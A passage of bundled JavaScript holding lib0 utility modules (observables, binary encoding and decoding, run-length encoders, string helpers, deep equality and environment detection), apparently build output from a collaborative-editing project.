986 res.push(f(value, key));
987 }
988 return res;
989 };
990 var any = (m, f) => {
991 for (const [key, value] of m) {
992 if (f(value, key)) {
993 return true;
994 }
995 }
996 return false;
997 };
998
999 // node_modules/lib0/set.js
1000 var create2 = () => /* @__PURE__ */ new Set();
1001
1002 // node_modules/lib0/array.js
1003 var last = (arr) => arr[arr.length - 1];
1004 var appendTo = (dest, src) => {
1005 for (let i = 0; i < src.length; i++) {
1006 dest.push(src[i]);
1007 }
1008 };
1009 var from = Array.from;
1010 var some = (arr, f) => {
1011 for (let i = 0; i < arr.length; i++) {
1012 if (f(arr[i], i, arr)) {
1013 return true;
1014 }
1015 }
1016 return false;
1017 };
1018 var unfold = (len, f) => {
1019 const array = new Array(len);
1020 for (let i = 0; i < len; i++) {
1021 array[i] = f(i, array);
1022 }
1023 return array;
1024 };
1025 var isArray = Array.isArray;
1026
1027 // node_modules/lib0/observable.js
1028 var ObservableV2 = class {
1029 constructor() {
1030 this._observers = create();
1031 }
1032 /**
1033 * @template {keyof EVENTS & string} NAME
1034 * @param {NAME} name
1035 * @param {EVENTS[NAME]} f
1036 */
1037 on(name, f) {
1038 setIfUndefined(
1039 this._observers,
1040 /** @type {string} */
1041 name,
1042 create2
1043 ).add(f);
1044 return f;
1045 }
1046 /**
1047 * @template {keyof EVENTS & string} NAME
1048 * @param {NAME} name
1049 * @param {EVENTS[NAME]} f
1050 */
1051 once(name, f) {
1052 const _f = (...args2) => {
1053 this.off(
1054 name,
1055 /** @type {any} */
1056 _f
1057 );
1058 f(...args2);
1059 };
1060 this.on(
1061 name,
1062 /** @type {any} */
1063 _f
1064 );
1065 }
1066 /**
1067 * @template {keyof EVENTS & string} NAME
1068 * @param {NAME} name
1069 * @param {EVENTS[NAME]} f
1070 */
1071 off(name, f) {
1072 const observers = this._observers.get(name);
1073 if (observers !== void 0) {
1074 observers.delete(f);
1075 if (observers.size === 0) {
1076 this._observers.delete(name);
1077 }
1078 }
1079 }
1080 /**
1081 * Emit a named event. All registered event listeners that listen to the
1082 * specified name will receive the event.
1083 *
1084 * @todo This should catch exceptions
1085 *
1086 * @template {keyof EVENTS & string} NAME
1087 * @param {NAME} name The event name.
1088 * @param {Parameters<EVENTS[NAME]>} args The arguments that are applied to the event listener.
1089 */
1090 emit(name, args2) {
1091 return from((this._observers.get(name) || create()).values()).forEach((f) => f(...args2));
1092 }
1093 destroy() {
1094 this._observers = create();
1095 }
1096 };
1097 var Observable = class {
1098 constructor() {
1099 this._observers = create();
1100 }
1101 /**
1102 * @param {N} name
1103 * @param {function} f
1104 */
1105 on(name, f) {
1106 setIfUndefined(this._observers, name, create2).add(f);
1107 }
1108 /**
1109 * @param {N} name
1110 * @param {function} f
1111 */
1112 once(name, f) {
1113 const _f = (...args2) => {
1114 this.off(name, _f);
1115 f(...args2);
1116 };
1117 this.on(name, _f);
1118 }
1119 /**
1120 * @param {N} name
1121 * @param {function} f
1122 */
1123 off(name, f) {
1124 const observers = this._observers.get(name);
1125 if (observers !== void 0) {
1126 observers.delete(f);
1127 if (observers.size === 0) {
1128 this._observers.delete(name);
1129 }
1130 }
1131 }
1132 /**
1133 * Emit a named event. All registered event listeners that listen to the
1134 * specified name will receive the event.
1135 *
1136 * @todo This should catch exceptions
1137 *
1138 * @param {N} name The event name.
1139 * @param {Array<any>} args The arguments that are applied to the event listener.
1140 */
1141 emit(name, args2) {
1142 return from((this._observers.get(name) || create()).values()).forEach((f) => f(...args2));
1143 }
1144 destroy() {
1145 this._observers = create();
1146 }
1147 };
1148
1149 // node_modules/lib0/math.js
1150 var floor = Math.floor;
1151 var abs = Math.abs;
1152 var min = (a, b) => a < b ? a : b;
1153 var max = (a, b) => a > b ? a : b;
1154 var isNaN2 = Number.isNaN;
1155 var isNegativeZero = (n) => n !== 0 ? n < 0 : 1 / n < 0;
1156
1157 // node_modules/lib0/binary.js
1158 var BIT1 = 1;
1159 var BIT2 = 2;
1160 var BIT3 = 4;
1161 var BIT4 = 8;
1162 var BIT6 = 32;
1163 var BIT7 = 64;
1164 var BIT8 = 128;
1165 var BIT18 = 1 << 17;
1166 var BIT19 = 1 << 18;
1167 var BIT20 = 1 << 19;
1168 var BIT21 = 1 << 20;
1169 var BIT22 = 1 << 21;
1170 var BIT23 = 1 << 22;
1171 var BIT24 = 1 << 23;
1172 var BIT25 = 1 << 24;
1173 var BIT26 = 1 << 25;
1174 var BIT27 = 1 << 26;
1175 var BIT28 = 1 << 27;
1176 var BIT29 = 1 << 28;
1177 var BIT30 = 1 << 29;
1178 var BIT31 = 1 << 30;
1179 var BIT32 = 1 << 31;
1180 var BITS5 = 31;
1181 var BITS6 = 63;
1182 var BITS7 = 127;
1183 var BITS17 = BIT18 - 1;
1184 var BITS18 = BIT19 - 1;
1185 var BITS19 = BIT20 - 1;
1186 var BITS20 = BIT21 - 1;
1187 var BITS21 = BIT22 - 1;
1188 var BITS22 = BIT23 - 1;
1189 var BITS23 = BIT24 - 1;
1190 var BITS24 = BIT25 - 1;
1191 var BITS25 = BIT26 - 1;
1192 var BITS26 = BIT27 - 1;
1193 var BITS27 = BIT28 - 1;
1194 var BITS28 = BIT29 - 1;
1195 var BITS29 = BIT30 - 1;
1196 var BITS30 = BIT31 - 1;
1197 var BITS31 = 2147483647;
1198
1199 // node_modules/lib0/number.js
1200 var MAX_SAFE_INTEGER = Number.MAX_SAFE_INTEGER;
1201 var MIN_SAFE_INTEGER = Number.MIN_SAFE_INTEGER;
1202 var LOWEST_INT32 = 1 << 31;
1203 var isInteger = Number.isInteger || ((num) => typeof num === "number" && isFinite(num) && floor(num) === num);
1204 var isNaN3 = Number.isNaN;
1205 var parseInt2 = Number.parseInt;
1206
1207 // node_modules/lib0/string.js
1208 var fromCharCode = String.fromCharCode;
1209 var fromCodePoint = String.fromCodePoint;
1210 var MAX_UTF16_CHARACTER = fromCharCode(65535);
1211 var toLowerCase = (s) => s.toLowerCase();
1212 var trimLeftRegex = /^\s*/g;
1213 var trimLeft = (s) => s.replace(trimLeftRegex, "");
1214 var fromCamelCaseRegex = /([A-Z])/g;
1215 var fromCamelCase = (s, separator) => trimLeft(s.replace(fromCamelCaseRegex, (match) => `${separator}${toLowerCase(match)}`));
1216 var _encodeUtf8Polyfill = (str) => {
1217 const encodedString = unescape(encodeURIComponent(str));
1218 const len = encodedString.length;
1219 const buf = new Uint8Array(len);
1220 for (let i = 0; i < len; i++) {
1221 buf[i] = /** @type {number} */
1222 encodedString.codePointAt(i);
1223 }
1224 return buf;
1225 };
1226 var utf8TextEncoder = (
1227 /** @type {TextEncoder} */
1228 typeof TextEncoder !== "undefined" ? new TextEncoder() : null
1229 );
1230 var _encodeUtf8Native = (str) => utf8TextEncoder.encode(str);
1231 var encodeUtf8 = utf8TextEncoder ? _encodeUtf8Native : _encodeUtf8Polyfill;
1232 var utf8TextDecoder = typeof TextDecoder === "undefined" ? null : new TextDecoder("utf-8", { fatal: true, ignoreBOM: true });
1233 if (utf8TextDecoder && utf8TextDecoder.decode(new Uint8Array()).length === 1) {
1234 utf8TextDecoder = null;
1235 }
1236 var repeat = (source, n) => unfold(n, () => source).join("");
1237
1238 // node_modules/lib0/encoding.js
1239 var Encoder = class {
1240 constructor() {
1241 this.cpos = 0;
1242 this.cbuf = new Uint8Array(100);
1243 this.bufs = [];
1244 }
1245 };
1246 var createEncoder = () => new Encoder();
1247 var length = (encoder) => {
1248 let len = encoder.cpos;
1249 for (let i = 0; i < encoder.bufs.length; i++) {
1250 len += encoder.bufs[i].length;
1251 }
1252 return len;
1253 };
1254 var toUint8Array = (encoder) => {
1255 const uint8arr = new Uint8Array(length(encoder));
1256 let curPos = 0;
1257 for (let i = 0; i < encoder.bufs.length; i++) {
1258 const d = encoder.bufs[i];
1259 uint8arr.set(d, curPos);
1260 curPos += d.length;
1261 }
1262 uint8arr.set(new Uint8Array(encoder.cbuf.buffer, 0, encoder.cpos), curPos);
1263 return uint8arr;
1264 };
1265 var verifyLen = (encoder, len) => {
1266 const bufferLen = encoder.cbuf.length;
1267 if (bufferLen - encoder.cpos < len) {
1268 encoder.bufs.push(new Uint8Array(encoder.cbuf.buffer, 0, encoder.cpos));
1269 encoder.cbuf = new Uint8Array(max(bufferLen, len) * 2);
1270 encoder.cpos = 0;
1271 }
1272 };
1273 var write = (encoder, num) => {
1274 const bufferLen = encoder.cbuf.length;
1275 if (encoder.cpos === bufferLen) {
1276 encoder.bufs.push(encoder.cbuf);
1277 encoder.cbuf = new Uint8Array(bufferLen * 2);
1278 encoder.cpos = 0;
1279 }
1280 encoder.cbuf[encoder.cpos++] = num;
1281 };
1282 var writeUint8 = write;
1283 var writeVarUint = (encoder, num) => {
1284 while (num > BITS7) {
1285 write(encoder, BIT8 | BITS7 & num);
1286 num = floor(num / 128);
1287 }
1288 write(encoder, BITS7 & num);
1289 };
1290 var writeVarInt = (encoder, num) => {
1291 const isNegative = isNegativeZero(num);
1292 if (isNegative) {
1293 num = -num;
1294 }
1295 write(encoder, (num > BITS6 ? BIT8 : 0) | (isNegative ? BIT7 : 0) | BITS6 & num);
1296 num = floor(num / 64);
1297 while (num > 0) {
1298 write(encoder, (num > BITS7 ? BIT8 : 0) | BITS7 & num);
1299 num = floor(num / 128);
1300 }
1301 };
1302 var _strBuffer = new Uint8Array(3e4);
1303 var _maxStrBSize = _strBuffer.length / 3;
1304 var _writeVarStringNative = (encoder, str) => {
1305 if (str.length < _maxStrBSize) {
1306 const written = utf8TextEncoder.encodeInto(str, _strBuffer).written || 0;
1307 writeVarUint(encoder, written);
1308 for (let i = 0; i < written; i++) {
1309 write(encoder, _strBuffer[i]);
1310 }
1311 } else {
1312 writeVarUint8Array(encoder, encodeUtf8(str));
1313 }
1314 };
1315 var _writeVarStringPolyfill = (encoder, str) => {
1316 const encodedString = unescape(encodeURIComponent(str));
1317 const len = encodedString.length;
1318 writeVarUint(encoder, len);
1319 for (let i = 0; i < len; i++) {
1320 write(
1321 encoder,
1322 /** @type {number} */
1323 encodedString.codePointAt(i)
1324 );
1325 }
1326 };
1327 var writeVarString = utf8TextEncoder && /** @type {any} */
1328 utf8TextEncoder.encodeInto ? _writeVarStringNative : _writeVarStringPolyfill;
1329 var writeBinaryEncoder = (encoder, append2) => writeUint8Array(encoder, toUint8Array(append2));
1330 var writeUint8Array = (encoder, uint8Array) => {
1331 const bufferLen = encoder.cbuf.length;
1332 const cpos = encoder.cpos;
1333 const leftCopyLen = min(bufferLen - cpos, uint8Array.length);
1334 const rightCopyLen = uint8Array.length - leftCopyLen;
1335 encoder.cbuf.set(uint8Array.subarray(0, leftCopyLen), cpos);
1336 encoder.cpos += leftCopyLen;
1337 if (rightCopyLen > 0) {
1338 encoder.bufs.push(encoder.cbuf);
1339 encoder.cbuf = new Uint8Array(max(bufferLen * 2, rightCopyLen));
1340 encoder.cbuf.set(uint8Array.subarray(leftCopyLen));
1341 encoder.cpos = rightCopyLen;
1342 }
1343 };
1344 var writeVarUint8Array = (encoder, uint8Array) => {
1345 writeVarUint(encoder, uint8Array.byteLength);
1346 writeUint8Array(encoder, uint8Array);
1347 };
1348 var writeOnDataView = (encoder, len) => {
1349 verifyLen(encoder, len);
1350 const dview = new DataView(encoder.cbuf.buffer, encoder.cpos, len);
1351 encoder.cpos += len;
1352 return dview;
1353 };
1354 var writeFloat32 = (encoder, num) => writeOnDataView(encoder, 4).setFloat32(0, num, false);
1355 var writeFloat64 = (encoder, num) => writeOnDataView(encoder, 8).setFloat64(0, num, false);
1356 var writeBigInt64 = (encoder, num) => (
1357 /** @type {any} */
1358 writeOnDataView(encoder, 8).setBigInt64(0, num, false)
1359 );
1360 var floatTestBed = new DataView(new ArrayBuffer(4));
1361 var isFloat32 = (num) => {
1362 floatTestBed.setFloat32(0, num);
1363 return floatTestBed.getFloat32(0) === num;
1364 };
1365 var writeAny = (encoder, data) => {
1366 switch (typeof data) {
1367 case "string":
1368 write(encoder, 119);
1369 writeVarString(encoder, data);
1370 break;
1371 case "number":
1372 if (isInteger(data) && abs(data) <= BITS31) {
1373 write(encoder, 125);
1374 writeVarInt(encoder, data);
1375 } else if (isFloat32(data)) {
1376 write(encoder, 124);
1377 writeFloat32(encoder, data);
1378 } else {
1379 write(encoder, 123);
1380 writeFloat64(encoder, data);
1381 }
1382 break;
1383 case "bigint":
1384 write(encoder, 122);
1385 writeBigInt64(encoder, data);
1386 break;
1387 case "object":
1388 if (data === null) {
1389 write(encoder, 126);
1390 } else if (isArray(data)) {
1391 write(encoder, 117);
1392 writeVarUint(encoder, data.length);
1393 for (let i = 0; i < data.length; i++) {
1394 writeAny(encoder, data[i]);
1395 }
1396 } else if (data instanceof Uint8Array) {
1397 write(encoder, 116);
1398 writeVarUint8Array(encoder, data);
1399 } else {
1400 write(encoder, 118);
1401 const keys2 = Object.keys(data);
1402 writeVarUint(encoder, keys2.length);
1403 for (let i = 0; i < keys2.length; i++) {
1404 const key = keys2[i];
1405 writeVarString(encoder, key);
1406 writeAny(encoder, data[key]);
1407 }
1408 }
1409 break;
1410 case "boolean":
1411 write(encoder, data ? 120 : 121);
1412 break;
1413 default:
1414 write(encoder, 127);
1415 }
1416 };
1417 var RleEncoder = class extends Encoder {
1418 /**
1419 * @param {function(Encoder, T):void} writer
1420 */
1421 constructor(writer) {
1422 super();
1423 this.w = writer;
1424 this.s = null;
1425 this.count = 0;
1426 }
1427 /**
1428 * @param {T} v
1429 */
1430 write(v) {
1431 if (this.s === v) {
1432 this.count++;
1433 } else {
1434 if (this.count > 0) {
1435 writeVarUint(this, this.count - 1);
1436 }
1437 this.count = 1;
1438 this.w(this, v);
1439 this.s = v;
1440 }
1441 }
1442 };
1443 var flushUintOptRleEncoder = (encoder) => {
1444 if (encoder.count > 0) {
1445 writeVarInt(encoder.encoder, encoder.count === 1 ? encoder.s : -encoder.s);
1446 if (encoder.count > 1) {
1447 writeVarUint(encoder.encoder, encoder.count - 2);
1448 }
1449 }
1450 };
1451 var UintOptRleEncoder = class {
1452 constructor() {
1453 this.encoder = new Encoder();
1454 this.s = 0;
1455 this.count = 0;
1456 }
1457 /**
1458 * @param {number} v
1459 */
1460 write(v) {
1461 if (this.s === v) {
1462 this.count++;
1463 } else {
1464 flushUintOptRleEncoder(this);
1465 this.count = 1;
1466 this.s = v;
1467 }
1468 }
1469 /**
1470 * Flush the encoded state and transform this to a Uint8Array.
1471 *
1472 * Note that this should only be called once.
1473 */
1474 toUint8Array() {
1475 flushUintOptRleEncoder(this);
1476 return toUint8Array(this.encoder);
1477 }
1478 };
1479 var flushIntDiffOptRleEncoder = (encoder) => {
1480 if (encoder.count > 0) {
1481 const encodedDiff = encoder.diff * 2 + (encoder.count === 1 ? 0 : 1);
1482 writeVarInt(encoder.encoder, encodedDiff);
1483 if (encoder.count > 1) {
1484 writeVarUint(encoder.encoder, encoder.count - 2);
1485 }
1486 }
1487 };
1488 var IntDiffOptRleEncoder = class {
1489 constructor() {
1490 this.encoder = new Encoder();
1491 this.s = 0;
1492 this.count = 0;
1493 this.diff = 0;
1494 }
1495 /**
1496 * @param {number} v
1497 */
1498 write(v) {
1499 if (this.diff === v - this.s) {
1500 this.s = v;
1501 this.count++;
1502 } else {
1503 flushIntDiffOptRleEncoder(this);
1504 this.count = 1;
1505 this.diff = v - this.s;
1506 this.s = v;
1507 }
1508 }
1509 /**
1510 * Flush the encoded state and transform this to a Uint8Array.
1511 *
1512 * Note that this should only be called once.
1513 */
1514 toUint8Array() {
1515 flushIntDiffOptRleEncoder(this);
1516 return toUint8Array(this.encoder);
1517 }
1518 };
1519 var StringEncoder = class {
1520 constructor() {
1521 this.sarr = [];
1522 this.s = "";
1523 this.lensE = new UintOptRleEncoder();
1524 }
1525 /**
1526 * @param {string} string
1527 */
1528 write(string) {
1529 this.s += string;
1530 if (this.s.length > 19) {
1531 this.sarr.push(this.s);
1532 this.s = "";
1533 }
1534 this.lensE.write(string.length);
1535 }
1536 toUint8Array() {
1537 const encoder = new Encoder();
1538 this.sarr.push(this.s);
1539 this.s = "";
1540 writeVarString(encoder, this.sarr.join(""));
1541 writeUint8Array(encoder, this.lensE.toUint8Array());
1542 return toUint8Array(encoder);
1543 }
1544 };
1545
1546 // node_modules/lib0/error.js
1547 var create3 = (s) => new Error(s);
1548 var methodUnimplemented = () => {
1549 throw create3("Method unimplemented");
1550 };
1551 var unexpectedCase = () => {
1552 throw create3("Unexpected case");
1553 };
1554
1555 // node_modules/lib0/decoding.js
1556 var errorUnexpectedEndOfArray = create3("Unexpected end of array");
1557 var errorIntegerOutOfRange = create3("Integer out of Range");
1558 var Decoder = class {
1559 /**
1560 * @param {Uint8Array} uint8Array Binary data to decode
1561 */
1562 constructor(uint8Array) {
1563 this.arr = uint8Array;
1564 this.pos = 0;
1565 }
1566 };
1567 var createDecoder = (uint8Array) => new Decoder(uint8Array);
1568 var hasContent = (decoder) => decoder.pos !== decoder.arr.length;
1569 var readUint8Array = (decoder, len) => {
1570 const view = new Uint8Array(decoder.arr.buffer, decoder.pos + decoder.arr.byteOffset, len);
1571 decoder.pos += len;
1572 return view;
1573 };
1574 var readVarUint8Array = (decoder) => readUint8Array(decoder, readVarUint(decoder));
1575 var readUint8 = (decoder) => decoder.arr[decoder.pos++];
1576 var readVarUint = (decoder) => {
1577 let num = 0;
1578 let mult = 1;
1579 const len = decoder.arr.length;
1580 while (decoder.pos < len) {
1581 const r = decoder.arr[decoder.pos++];
1582 num = num + (r & BITS7) * mult;
1583 mult *= 128;
1584 if (r < BIT8) {
1585 return num;
1586 }
1587 if (num > MAX_SAFE_INTEGER) {
1588 throw errorIntegerOutOfRange;
1589 }
1590 }
1591 throw errorUnexpectedEndOfArray;
1592 };
1593 var readVarInt = (decoder) => {
1594 let r = decoder.arr[decoder.pos++];
1595 let num = r & BITS6;
1596 let mult = 64;
1597 const sign = (r & BIT7) > 0 ? -1 : 1;
1598 if ((r & BIT8) === 0) {
1599 return sign * num;
1600 }
1601 const len = decoder.arr.length;
1602 while (decoder.pos < len) {
1603 r = decoder.arr[decoder.pos++];
1604 num = num + (r & BITS7) * mult;
1605 mult *= 128;
1606 if (r < BIT8) {
1607 return sign * num;
1608 }
1609 if (num > MAX_SAFE_INTEGER) {
1610 throw errorIntegerOutOfRange;
1611 }
1612 }
1613 throw errorUnexpectedEndOfArray;
1614 };
1615 var _readVarStringPolyfill = (decoder) => {
1616 let remainingLen = readVarUint(decoder);
1617 if (remainingLen === 0) {
1618 return "";
1619 } else {
1620 let encodedString = String.fromCodePoint(readUint8(decoder));
1621 if (--remainingLen < 100) {
1622 while (remainingLen--) {
1623 encodedString += String.fromCodePoint(readUint8(decoder));
1624 }
1625 } else {
1626 while (remainingLen > 0) {
1627 const nextLen = remainingLen < 1e4 ? remainingLen : 1e4;
1628 const bytes = decoder.arr.subarray(decoder.pos, decoder.pos + nextLen);
1629 decoder.pos += nextLen;
1630 encodedString += String.fromCodePoint.apply(
1631 null,
1632 /** @type {any} */
1633 bytes
1634 );
1635 remainingLen -= nextLen;
1636 }
1637 }
1638 return decodeURIComponent(escape(encodedString));
1639 }
1640 };
1641 var _readVarStringNative = (decoder) => (
1642 /** @type any */
1643 utf8TextDecoder.decode(readVarUint8Array(decoder))
1644 );
1645 var readVarString = utf8TextDecoder ? _readVarStringNative : _readVarStringPolyfill;
1646 var readFromDataView = (decoder, len) => {
1647 const dv = new DataView(decoder.arr.buffer, decoder.arr.byteOffset + decoder.pos, len);
1648 decoder.pos += len;
1649 return dv;
1650 };
1651 var readFloat32 = (decoder) => readFromDataView(decoder, 4).getFloat32(0, false);
1652 var readFloat64 = (decoder) => readFromDataView(decoder, 8).getFloat64(0, false);
1653 var readBigInt64 = (decoder) => (
1654 /** @type {any} */
1655 readFromDataView(decoder, 8).getBigInt64(0, false)
1656 );
1657 var readAnyLookupTable = [
1658 (decoder) => void 0,
1659 // CASE 127: undefined
1660 (decoder) => null,
1661 // CASE 126: null
1662 readVarInt,
1663 // CASE 125: integer
1664 readFloat32,
1665 // CASE 124: float32
1666 readFloat64,
1667 // CASE 123: float64
1668 readBigInt64,
1669 // CASE 122: bigint
1670 (decoder) => false,
1671 // CASE 121: boolean (false)
1672 (decoder) => true,
1673 // CASE 120: boolean (true)
1674 readVarString,
1675 // CASE 119: string
1676 (decoder) => {
1677 const len = readVarUint(decoder);
1678 const obj = {};
1679 for (let i = 0; i < len; i++) {
1680 const key = readVarString(decoder);
1681 obj[key] = readAny(decoder);
1682 }
1683 return obj;
1684 },
1685 (decoder) => {
1686 const len = readVarUint(decoder);
1687 const arr = [];
1688 for (let i = 0; i < len; i++) {
1689 arr.push(readAny(decoder));
1690 }
1691 return arr;
1692 },
1693 readVarUint8Array
1694 // CASE 116: Uint8Array
1695 ];
1696 var readAny = (decoder) => readAnyLookupTable[127 - readUint8(decoder)](decoder);
1697 var RleDecoder = class extends Decoder {
1698 /**
1699 * @param {Uint8Array} uint8Array
1700 * @param {function(Decoder):T} reader
1701 */
1702 constructor(uint8Array, reader) {
1703 super(uint8Array);
1704 this.reader = reader;
1705 this.s = null;
1706 this.count = 0;
1707 }
1708 read() {
1709 if (this.count === 0) {
1710 this.s = this.reader(this);
1711 if (hasContent(this)) {
1712 this.count = readVarUint(this) + 1;
1713 } else {
1714 this.count = -1;
1715 }
1716 }
1717 this.count--;
1718 return (
1719 /** @type {T} */
1720 this.s
1721 );
1722 }
1723 };
1724 var UintOptRleDecoder = class extends Decoder {
1725 /**
1726 * @param {Uint8Array} uint8Array
1727 */
1728 constructor(uint8Array) {
1729 super(uint8Array);
1730 this.s = 0;
1731 this.count = 0;
1732 }
1733 read() {
1734 if (this.count === 0) {
1735 this.s = readVarInt(this);
1736 const isNegative = isNegativeZero(this.s);
1737 this.count = 1;
1738 if (isNegative) {
1739 this.s = -this.s;
1740 this.count = readVarUint(this) + 2;
1741 }
1742 }
1743 this.count--;
1744 return (
1745 /** @type {number} */
1746 this.s
1747 );
1748 }
1749 };
1750 var IntDiffOptRleDecoder = class extends Decoder {
1751 /**
1752 * @param {Uint8Array} uint8Array
1753 */
1754 constructor(uint8Array) {
1755 super(uint8Array);
1756 this.s = 0;
1757 this.count = 0;
1758 this.diff = 0;
1759 }
1760 /**
1761 * @return {number}
1762 */
1763 read() {
1764 if (this.count === 0) {
1765 const diff = readVarInt(this);
1766 const hasCount = diff & 1;
1767 this.diff = floor(diff / 2);
1768 this.count = 1;
1769 if (hasCount) {
1770 this.count = readVarUint(this) + 2;
1771 }
1772 }
1773 this.s += this.diff;
1774 this.count--;
1775 return this.s;
1776 }
1777 };
1778 var StringDecoder = class {
1779 /**
1780 * @param {Uint8Array} uint8Array
1781 */
1782 constructor(uint8Array) {
1783 this.decoder = new UintOptRleDecoder(uint8Array);
1784 this.str = readVarString(this.decoder);
1785 this.spos = 0;
1786 }
1787 /**
1788 * @return {string}
1789 */
1790 read() {
1791 const end = this.spos + this.decoder.read();
1792 const res = this.str.slice(this.spos, end);
1793 this.spos = end;
1794 return res;
1795 }
1796 };
1797
1798 // node_modules/lib0/webcrypto.js
1799 var subtle = crypto.subtle;
1800 var getRandomValues = crypto.getRandomValues.bind(crypto);
1801
1802 // node_modules/lib0/random.js
1803 var uint32 = () => getRandomValues(new Uint32Array(1))[0];
1804 var uuidv4Template = "10000000-1000-4000-8000" + -1e11;
1805 var uuidv4 = () => uuidv4Template.replace(
1806 /[018]/g,
1807 /** @param {number} c */
1808 (c) => (c ^ uint32() & 15 >> c / 4).toString(16)
1809 );
1810
1811 // node_modules/lib0/time.js
1812 var getUnixTime = Date.now;
1813
1814 // node_modules/lib0/promise.js
1815 var create4 = (f) => (
1816 /** @type {Promise<T>} */
1817 new Promise(f)
1818 );
1819 var all = Promise.all.bind(Promise);
1820
1821 // node_modules/lib0/conditions.js
1822 var undefinedToNull = (v) => v === void 0 ? null : v;
1823
1824 // node_modules/lib0/storage.js
1825 var VarStoragePolyfill = class {
1826 constructor() {
1827 this.map = /* @__PURE__ */ new Map();
1828 }
1829 /**
1830 * @param {string} key
1831 * @param {any} newValue
1832 */
1833 setItem(key, newValue) {
1834 this.map.set(key, newValue);
1835 }
1836 /**
1837 * @param {string} key
1838 */
1839 getItem(key) {
1840 return this.map.get(key);
1841 }
1842 };
1843 var _localStorage = new VarStoragePolyfill();
1844 var usePolyfill = true;
1845 try {
1846 if (typeof localStorage !== "undefined" && localStorage) {
1847 _localStorage = localStorage;
1848 usePolyfill = false;
1849 }
1850 } catch (e) {
1851 }
1852 var varStorage = _localStorage;
1853
1854 // node_modules/lib0/object.js
1855 var assign = Object.assign;
1856 var keys = Object.keys;
1857 var forEach = (obj, f) => {
1858 for (const key in obj) {
1859 f(obj[key], key);
1860 }
1861 };
1862 var length2 = (obj) => keys(obj).length;
1863 var size = (obj) => keys(obj).length;
1864 var isEmpty = (obj) => {
1865 for (const _k in obj) {
1866 return false;
1867 }
1868 return true;
1869 };
1870 var every = (obj, f) => {
1871 for (const key in obj) {
1872 if (!f(obj[key], key)) {
1873 return false;
1874 }
1875 }
1876 return true;
1877 };
1878 var hasProperty = (obj, key) => Object.prototype.hasOwnProperty.call(obj, key);
1879 var equalFlat = (a, b) => a === b || size(a) === size(b) && every(a, (val, key) => (val !== void 0 || hasProperty(b, key)) && b[key] === val);
1880 var freeze = Object.freeze;
1881 var deepFreeze = (o) => {
1882 for (const key in o) {
1883 const c = o[key];
1884 if (typeof c === "object" || typeof c === "function") {
1885 deepFreeze(o[key]);
1886 }
1887 }
1888 return freeze(o);
1889 };
1890
1891 // node_modules/lib0/function.js
1892 var callAll = (fs, args2, i = 0) => {
1893 try {
1894 for (; i < fs.length; i++) {
1895 fs[i](...args2);
1896 }
1897 } finally {
1898 if (i < fs.length) {
1899 callAll(fs, args2, i + 1);
1900 }
1901 }
1902 };
1903 var id = (a) => a;
1904 var equalityStrict = (a, b) => a === b;
1905 var equalityDeep = (a, b) => {
1906 if (a == null || b == null) {
1907 return equalityStrict(a, b);
1908 }
1909 if (a.constructor !== b.constructor) {
1910 return false;
1911 }
1912 if (a === b) {
1913 return true;
1914 }
1915 switch (a.constructor) {
1916 case ArrayBuffer:
1917 a = new Uint8Array(a);
1918 b = new Uint8Array(b);
1919 // eslint-disable-next-line no-fallthrough
1920 case Uint8Array: {
1921 if (a.byteLength !== b.byteLength) {
1922 return false;
1923 }
1924 for (let i = 0; i < a.length; i++) {
1925 if (a[i] !== b[i]) {
1926 return false;
1927 }
1928 }
1929 break;
1930 }
1931 case Set: {
1932 if (a.size !== b.size) {
1933 return false;
1934 }
1935 for (const value of a) {
1936 if (!b.has(value)) {
1937 return false;
1938 }
1939 }
1940 break;
1941 }
1942 case Map: {
1943 if (a.size !== b.size) {
1944 return false;
1945 }
1946 for (const key of a.keys()) {
1947 if (!b.has(key) || !equalityDeep(a.get(key), b.get(key))) {
1948 return false;
1949 }
1950 }
1951 break;
1952 }
1953 case Object:
1954 if (length2(a) !== length2(b)) {
1955 return false;
1956 }
1957 for (const key in a) {
1958 if (!hasProperty(a, key) || !equalityDeep(a[key], b[key])) {
1959 return false;
1960 }
1961 }
1962 break;
1963 case Array:
1964 if (a.length !== b.length) {
1965 return false;
1966 }
1967 for (let i = 0; i < a.length; i++) {
1968 if (!equalityDeep(a[i], b[i])) {
1969 return false;
1970 }
1971 }
1972 break;
1973 default:
1974 return false;
1975 }
1976 return true;
1977 };
1978 var isOneOf = (value, options) => options.includes(value);
1979
1980 // node_modules/lib0/environment.js
1981 var isNode = typeof process !== "undefined" && process.release && /node|io\.js/.test(process.release.name) && Object.prototype.toString.call(typeof process !== "undefined" ? process : 0) === "[object process]";
1982 var isBrowser = typeof window !== "undefined" && typeof document !== "undefined" && !isNode;
1983 var isMac = typeof navigator !== "undefined" ? /Mac/.test(navigator.platform) : false;
1984 var params;
1985 var args = [];
1986 var computeParams = () => {
1987 if (params === void 0) {
1988 if (isNode) {
1989 params = create();
1990 const pargs = process.argv;
1991 let currParamName = null;
1992 for (let i = 0; i < pargs.length; i++) {
1993 const parg = pargs[i];
1994 if (parg[0] === "-") {
1995 if (currParamName !== null) {
1996 params.set(currParamName, "");
1997 }
1998 currParamName = parg;
1999 } else {
2000 if (currParamName !== null) {
2001 params.set(currParamName, parg);
2002 currParamName = null;
2003 } else {
2004 args.push(parg);
2005 }
2006 }
2007 }
2008 if (currParamName !== null) {
2009 params.set(currParamName, "");
2010 }
2011 } else if (typeof location === "object") {
2012 params = create();
2013 (location.search || "?").slice(1).split("&").forEach((kv) => {
2014 if (kv.length !== 0) {
2015 const [key, value] = kv.split("=");
2016 params.set(`--${fromCamelCase(key, "-")}`, value);
2017 params.set(`-${fromCamelCase(key, "-")}`, value);
2018 }
2019 });
2020 } else {
2021 params = create();
2022 }
2023 }
2024 return params;
2025 };
2026 var hasParam = (name) => computeParams().has(name);
2027 var getVariable = (name) => isNode ? undefinedToNull(process.env[name.toUpperCase().replaceAll("-", "_")]) : undefinedToNull(varStorage.getItem(name));
2028 var hasConf = (name) => hasParam("--" + name) || getVariable(name) !== null;
2029 var production = hasConf("production");
2030 var forceColor = isNode && isOneOf(process.env.FORCE_COLOR, ["true", "1", "2"]);
2031 var supportsColor = forceColor || !hasParam("--no-colors") && // @todo deprecate --no-colors
2032 !hasConf("no-color") && (!isNode || process.stdout.isTTY) && (!isNode || hasParam("--color") || getVariable("COLORTERM") !== null || (getVariable("TERM") || "").includes("color"));
2033
2034 // node_modules/lib0/buffer.js
2035 var createUint8ArrayFromLen = (len) => new Uint8Array(len);
2036 var createUint8ArrayViewFromArrayBuffer = (buffer, byteOffset, length3) => new Uint8Array(buffer, byteOffset, length3);
2037 var toBase64Browser = (bytes) => {
2038 let s = "";
2039 for (let i = 0; i < bytes.byteLength; i++) {
